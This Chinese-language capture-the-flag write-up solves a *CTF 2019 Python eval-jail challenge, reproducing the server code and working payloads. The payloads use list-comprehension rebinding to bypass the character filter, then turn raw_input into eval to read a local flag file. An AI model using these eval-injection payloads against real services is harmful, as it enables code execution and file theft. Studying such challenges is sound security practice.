前言

上个周末做的 *CTF,不得不说是个好比赛,菜鸡 Web 手学到了很多新的知识,后来因为要给国赛半决赛出题的原因,所以放了几天没有时间去总结,现在题目差不多完结了,就摸个鱼总结一下,就从有趣的 Misc 题目开始吧。

官方 writeup:https://github.com/sixstars/starctf2019


题目 socket 服务器就一个文件,代码如下:

#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import sys
import hashlib
import random


# private ------------------------------------------------------------
def flag():
    # flag of stage 1
    return '*ctf{[0-9a-zA-Z_[\]]+}'


def flag2():
    ret = ''
    # flag of stage 2
    # ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
    return ret


def switch_safe_mode_factory():
    ctx = {'io_pair': [None, None]}

    def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])

    return __wrapper


def PoW():
    return
    while True:
        a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
        print 'hashlib.sha1(input).hexdigest() == "%s"' % a
        print '>',
        input = raw_input()
        if hashlib.sha1(input).hexdigest()[:4] == a:
            break
        print 'invalid PoW, please retry'


# protected ----------------------------------------------------------
def fib(a):
    if a <= 1: return 1
    return fib(a - 1) + fib(a - 2)


# public -------------------------------------------------------------
def load_flag_handler(args):
    global session
    session['log'] = flag2()
    return 'done'


def ping_handler(args):
    return 'pong'


def fib_handler(args):
    a = int(args[0])
    if a > 5 or a < 0: return 'out of range'
    return str(fib(a))


if __name__ == '__main__':
    session = {'log': flag()}
    switch_safe_mode = switch_safe_mode_factory()
    switch_safe_mode_factory = None
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')

    while True:
        PoW()
        print '$',
        event = raw_input()
        # get eventName and args from the RPC requests,
        # like: funcName114514arg1114514args2114514arg3 ...
        switch_safe_mode()
        if event == 'exit': break

        for c in event:
            if c not in valid_event_chars:
                print "invalid request"
                exit(-1)

        event, args = event.split('114514')
        args = args.split('114514')

        try:
            handler = eval(event)
            print handler(args)
        # except Exception, e:
        # print 'exception:', str(e)
        except:
            print 'exception'

这套代码是两个题目一起用的,其中 flag1 只需要打印 session 变量,而 flag2 则需要 RCE 或者文件读取。

简单审计一下代码,可以看到逻辑是这样的:

  • sha1 验证码
  • 将标准输入和错误输出放入一个变量中,然后置为 None,在恢复之前我们无法进行下一次输入
  • 将我们输入的字符串按照 114514 进行分割
  • 将 eval 第一部分得到一个函数,再将第二部分作为参数进行调用

看起来功能很强大,其实有几个限制:

  • 有非法字符检测,所以我们只能输入数字、大小写字母、下划线和中括号
  • 参数类型为 list

没有空格,没有等号,没有小括号,分割来的参数也只是元素为字符串的 list 而不是变量,似乎无从下手了啊。

但是 eval 的功能是无比强大的,虽然我们无法直接使用 eval 来进行输出,但是这里可以引入变量,而且还有中括号,是不是有什么 Python 黑魔法呢?只要我们可以在 eval 中覆盖掉 args,然后返回一个输出函数,这样我们就能拿到 flag1 了。

那自然是有的,首先是变量覆盖:

>>> a = 0
>>> for a in [1]:
...     pass
...
>>> a
1
>>>

虽然没有等号,但是我们可以使用 for 来进行变量覆盖,那怎么绕过空格呢?答案是使用 Python 的特色写法—— list 生成器和中括号:

>>> a = 0
>>> [[str][0]for[a]in[[1]]]
[<type 'str'>]
>>> a
1

这行代码的意思是遍历 [1] 这个 list ,赋值给 a,然后再返回一个 str,因为没有执行的原因,所以返回的是一个函数:

>>> [[str][0]for[a,b]in[[1,2],['a','b']]]
[<type 'str'>, <type 'str'>]

因为遍历了两次的原因,所以返回的 list 中有两个 str,为了绕过函数和 for 之间的空格,这里使用了 list 的写法:

>>> [input][0]
<built-in function input>

这样一来我们就可以进行变量覆盖了,所以 payload 为:

[[input][0]for[args]in[[session]]][0]114514x

或者使用 str 函数也是可以的。

那第二题也很简单了,首先我们只要在将 PoW 覆盖为 switch_safe_mode(或者调用 reload 重载 sys),就可以绕过标准输入被替换掉了的问题,可以进行第二轮的输入。

那么要怎么读取 flag 文件呢?我们是不是可以绕开黑名单?

有了变量覆盖,我们能做到的事情大大增加了。观察代码可以发现,我们可以将 raw_input 覆盖为 input 函数(input = eval(raw_input)),这样我们就可以在黑名单过滤之前进行代码执行了。

payload:

[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]

第一句很好理解,因为嵌套了两次 for 所以是两层结构的 list,第二句在 input 中经过 eval 之后,会将 session 覆盖为 flag,然后返回一个字符:

[[str]for[args]in[[session]]][0][0]114514

就回到了第一题的情况了。


Orz